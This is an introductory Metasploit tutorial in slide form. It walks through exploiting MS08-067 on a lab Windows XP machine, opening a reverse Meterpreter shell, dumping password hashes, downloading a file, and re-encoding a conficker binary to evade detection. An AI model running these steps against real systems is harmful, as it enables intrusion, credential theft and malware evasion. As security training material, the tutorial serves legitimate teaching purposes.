Metasploit 101
Metasploit 101
By: Metacortex
For:
Audience:
- People who haven't used metasploit before or
know what it is
- People looking to maybe learn some new
features of metasploit
- Nubs
What is Metasploit?
Metasploit is an exploitation framework. It is an
all in one toolkit for everything pentesters,
researchers, and exploit developers need.
Written in Ruby
Open Source
Highly extensible and customizable
Originally written by HD Moore
Maintained by Rapid7 Developers
Getting Metasploit
Best way to get a hold of it is to grab it off SVN
Available already installed in BackTrack
Can download pre packaged versions
Linux Prerequisites
To run Metasploit, you need Ruby and
Rubygems.
dc@801:~/metasploit$ sudo aptitude install ruby rubygems
The following NEW packages will be installed:
libruby1.8{a} ruby ruby1.8{a} ruby1.8-dev{a} rubygems
rubygems1.8{a}
0 packages upgraded, 6 newly installed, 0 to remove and 0 not
upgraded.
Need to get 2,622 kB of archives. After unpacking 11.0 MB will be
used.
Do you want to continue? [Y/n/?] y
SVN Download
dc@801:~/metasploit$ svn co https://www.metasploit.com/svn/framework3/trunk/
A trunk/msfelfscan
A trunk/scripts
A trunk/scripts/ps
A trunk/scripts/ps/msflag.ps1
A trunk/scripts/resource
...
A trunk/documentation/rpm
A trunk/documentation/rpm/metasploit.spec
U trunk
Checked out revision 15702.
SVN Update
dc@801:~/metasploit/trunk$ svn update
U external/source/meterpreter/source/extensions/priv/server/priv.c
U external/source/meterpreter/source/extensions/stdapi/server/stdapi.c
U external/source/meterpreter/source/extensions/stdapi/server/net/config/interface.c
...
U HACKING
D documentation/users_guide.pdf
A documentation/Gemfile
A documentation/users_guide_4.2.pdf
A documentation/users_guide_4.3.pdf
Updated to revision 15703.
Download binaries
Do that at
http://www.metasploit.com/download/
msfconsole
dc@801:~/metasploit/trunk$ ls
armitage
HACKING msfd
msfpescan plugins tools
COPYING lib
msfelfscan msfrop README.md
data
modules
msfencode msfrpc scripts
documentation msfbinscan msfgui
msfrpcd spec
external
msfcli msfmachscan msfupdate test
Gemfile
msfconsole msfpayload msfvenom THIRDPARTY.md
msfconsole
dc@801:~/metasploit/trunk$ sudo ./msfconsole
[sudo] password for dc:
,
,
/
\
((__---,,,---__))
(_) O O (_)_______
\_/
|\
o_o \ M S F | \
\ _____ | *
||| WW|||
|||
|||
msfconsole help
msf > help
Core Commands
=============
Command
------?
back
banner
cd
color
connect
exit
help
info
irb
jobs
...
Description
----------Help menu
Move back from the current context
Display an awesome metasploit banner
Change the current working directory
Toggle color
Communicate with a host
Exit the console
Help menu
Displays information about one or more module
Drop into irb scripting mode
Displays and manages jobs
msfconsole search
msf > search ms08_067
Matching Modules
================
Name
Disclosure Date Rank Description
------------------ ---- ----------exploit/windows/smb/ms08_067_netapi 2008-10-28
great Microsoft Server Service
Relative Path Stack Corruption
Nmap
msf > nmap -A 192.168.0.107
[*] exec: nmap -A 192.168.0.107
Selecting an Exploit
Once you have identified a vulnerability that has an
exploit in metasploit, lets go ahead and use it.
In this example, we are going against a fresh instal
of Windows XP SP2
XP SP2 is notorious for MS08-067 (the bug conficker
used)
The MS08-067 is a super reliable
exploit so we will use it
Exploit Options
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name
Current Setting
-----------------RHOST
RPORT 445
SMBPIPE BROWSER
Exploit target:
Id Name
-- ---0 Automatic Targeting
Required Description
-----------------yes
The target address
yes
Set the SMB service port
yes
The pipe name to use (BROWSER, SRVSVC)
Available Payloads
msf exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name
Disclosure Date Rank Description
------------------ ---- ----------generic/custom
normal Custom Payload
generic/debug_trap
normal Generic x86 Debug Trap
generic/shell_bind_tcp
...
Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
windows/vncinject/reverse_tcp
normal VNC Server (Reflective
Injection), Reverse TCP Stager
windows/vncinject/reverse_tcp_allports
normal VNC Server (Reflective
Injection), Reverse All-Port TCP Stager
Select Payload
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
Verify Options
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name
Current Setting Required Description
----------------------------------RHOST 192.168.0.107 yes The target address
RPORT 445
yes Set the SMB service port
SMBPIPE BROWSER
yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name
Current Setting Required Description
----------------------------------EXITFUNC thread
yes Exit technique: process, none, seh, thread
LHOST 192.168.0.101 yes The listen address
LPORT 4444
yes The listen port
Exploit target:
Id Name
-- ---0 Automatic Targeting
EXPLOIT!
msf exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.0.101:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.0.107
[*] Meterpreter session 1 opened (192.168.0.101:4444 -> 192.168.0.107:1041) at Sat Aug
04 00:43:16 -0600 2012
meterpreter >
Basic Meterpreter
meterpreter > ifconfig
Interface 1
============
Name
: MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU
: 1520
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 2
============
Name
: AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC : 08:00:27:35:04:d6
MTU
: 1500
IPv4 Address : 192.168.0.107
IPv4 Netmask : 255.255.255.0
Interface 2
============
Name
: AMD PCNET Family PCI Ethernet Adapter - Packet Scheduler Miniport
Hardware MAC : 08:00:27:35:04:d6
MTU
: 1500
IPv4 Address : 192.168.0.107
IPv4 Netmask : 255.255.255.0
Basic Meterpreter
meterpreter > hashdump
Administrator:500:52b7bd1c19ac445baad3b435b51404ee:d04b083dd7cbadb1f6abbca2d64222a5:::
dc801-1:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
HelpAssistant:1000:acdfc6045fe025a3618e54ed631edee9:919ec17846e9c0392ff21e5f93eb60d4:::
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:
2a19baf0800172a7622217c273064e3a:::
Basic Meterpreter
meterpreter > search -f *credit*
Found 2 results...
c:\\Documents and Settings\dc801-1\Desktop\CreditCardData.txt (16 bytes)
c:\\Documents and Settings\dc801-1\Recent\CreditCardData.lnk (519 bytes)
meterpreter > cd C:\\
meterpreter > cd Documents\ and\ Settings
meterpreter > cd dc801-1
meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Documents and Settings\dc801-1\Desktop
==================================================
Mode
Size Type Last modified
Name
------- ---- ---------------40777/rwxrwxrwx 0 dir Sun Aug 05 13:07:32 -0600 2012 .
40777/rwxrwxrwx 0 dir Sat Aug 04 00:18:30 -0600 2012 ..
100666/rw-rw-rw- 16 fil Sun Aug 05 13:08:20 -0600 2012 CreditCardData.txt
meterpreter > download CreditCardData.txt
[*] downloading: CreditCardData.txt -> CreditCardData.txt
[*] downloaded : CreditCardData.txt -> CreditCardData.txt
Basic Meterpreter
dc@801:~/metasploit/trunk$ ls
armitage
HACKING msfelfscan msfrpc
spec
COPYING
lib
msfencode msfrpcd
test
CreditCardData.txt modules
msfgui
msfupdate THIRD-PARTY.md
data
msfbinscan msfmachscan msfvenom tools
documentation msfcli
msfpayload plugins
external
msfconsole msfpescan
README.md
Gemfile
msfd
msfrop
scripts
dc@801:~/metasploit/trunk$ cat CreditCardData.txt
not really. lulz
dc@801:~/metasploit/trunk$
MSFEncode
MSFEncode
dc@801:~/metasploit/trunk$ ./msfencode -i conficker.EXE -o notconficker.exe -e x86/shikata_ga_nai -c 10
[*] x86/shikata_ga_nai succeeded with size 86045 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 86074 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 86103 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 86132 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 86161 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 86190 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 86219 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 86248 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 86277 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 86306 (iteration=10)
MSFEncode